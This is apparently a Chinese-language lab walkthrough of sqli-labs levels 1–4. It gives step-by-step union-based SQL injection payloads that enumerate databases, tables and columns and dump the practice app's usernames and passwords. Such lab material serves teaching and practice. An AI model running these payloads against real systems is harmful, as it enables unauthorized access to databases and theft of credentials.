sql-labs 1-4关（联合查询）

less-1：

id=1' or 1=1 --+;判断是否有注入

select * from users order by 1  :对字段里面第一列进行排序

select * from users order by 2  :对字段里面第二列进行排序

select * from users order by 3  :对字段里面第三列进行排序

id=1' order by 1 --+		;然后依次测试2，3，4，以测试数据库列数

id=-1' union select 1,2,3 --+	测试可以回显的列数位置

id=-1' union select 1,2,schema_name from information_schema.schemata limit 0,1--+ 
 
id=-1' union select 1,2,group_concat(schema_name)from information_schema.schemata --+
			因为只有两列回显，所以将最后一部分拼接显示，以展示出所有的库名
id=-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_	schema="security" --+
		调查表名：emails,referers,uagents,users
id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name="users" --+	 
		id,username,password
id=-1' union select 1,2,group_concat(concat_ws("~",username,password)) from security.users --+	 

less-2:

id=1 order by 3 --+		查询出列数为3

id=-1 union select 1,2,3  查询出可回显位置

id=-1 union select 1,2,schema_name from information_schema.schemata 
查询出第一个库名：information_schema

id=-1 union select 1,2,group_concat(schema_name)from information_schema.schemata
查询所有库：information_schema,challenges,mysql,performance_schema,security,test

id=-1 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema="security"
查询所有表名：emails,referers,uagents,users
 
id=-1 union select 1,2,group_concat(column_name)from information_schema.columns where table_name="users"
查询所有列名：id,username,password

id=-1 union select 1,2,group_concat(concat_ws("~",username,password))from security.users
查询字段：Dumb~Dumb,Angelina~I-kill-you,Dummy~p@ssword,secure~crappy,stupid~stupidity,superman~genious,batman~mob!le,admin~admin,admin1~admin1,admin2~admin2,admin3~admin3,dhakkan~dumbo,admin4~admin4

less-3:

id=1') or 1=1 --+	测试出可以注入

id=1') order by 3 --+	查询出列数为3

id=-1') union select 1,2,3 --+	查询出可以回显的位置

id=-1') union select 1,2,group_concat(schema_name) from information_schema.schemata --+
查询出所有库名：information_schema,challenges,mysql,performance_schema,security,test

id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" --+
查询出所有表名：emails,referers,uagents,users

id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" --+
查询出所有列名：id,username,password

id=-1') union select 1,2,group_concat(concat_ws("~",username,password)) from security.users --+
查询所有字段：Dumb~Dumb,Angelina~I-kill-you,Dummy~p@ssword,secure~crappy,stupid~stupidity,superman~genious,batman~mob!le,admin~admin,admin1~admin1,admin2~admin2,admin3~admin3,dhakkan~dumbo,admin4~admin4

less-4:

id=1") or 1=1 --+ 测试出可以注入

id=1") order by 3 --+ 查询出列数为3

id=-1") union select 1,2,group_concat(schema_name)from information_schema.schemata --+
查询出所有库名：information_schema,challenges,mysql,performance_schema,security,test

id=-1") union select 1,2,group_concat(table_name)from information_schema.tables where table_schema="security" --+
查询出所有的表名：emails,referers,uagents,users

id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" --+
查询出所有列名：id,username,password
 
id=-1")union select 1,2,group_concat(concat_ws("~",username,password)) from security.users --+
查询所有字段：Dumb~Dumb,Angelina~I-kill-you,Dummy~p@ssword,secure~crappy,stupid~stupidity,superman~genious,batman~mob!le,admin~admin,admin1~admin1,admin2~admin2,admin3~admin3,dhakkan~dumbo,admin4~admin4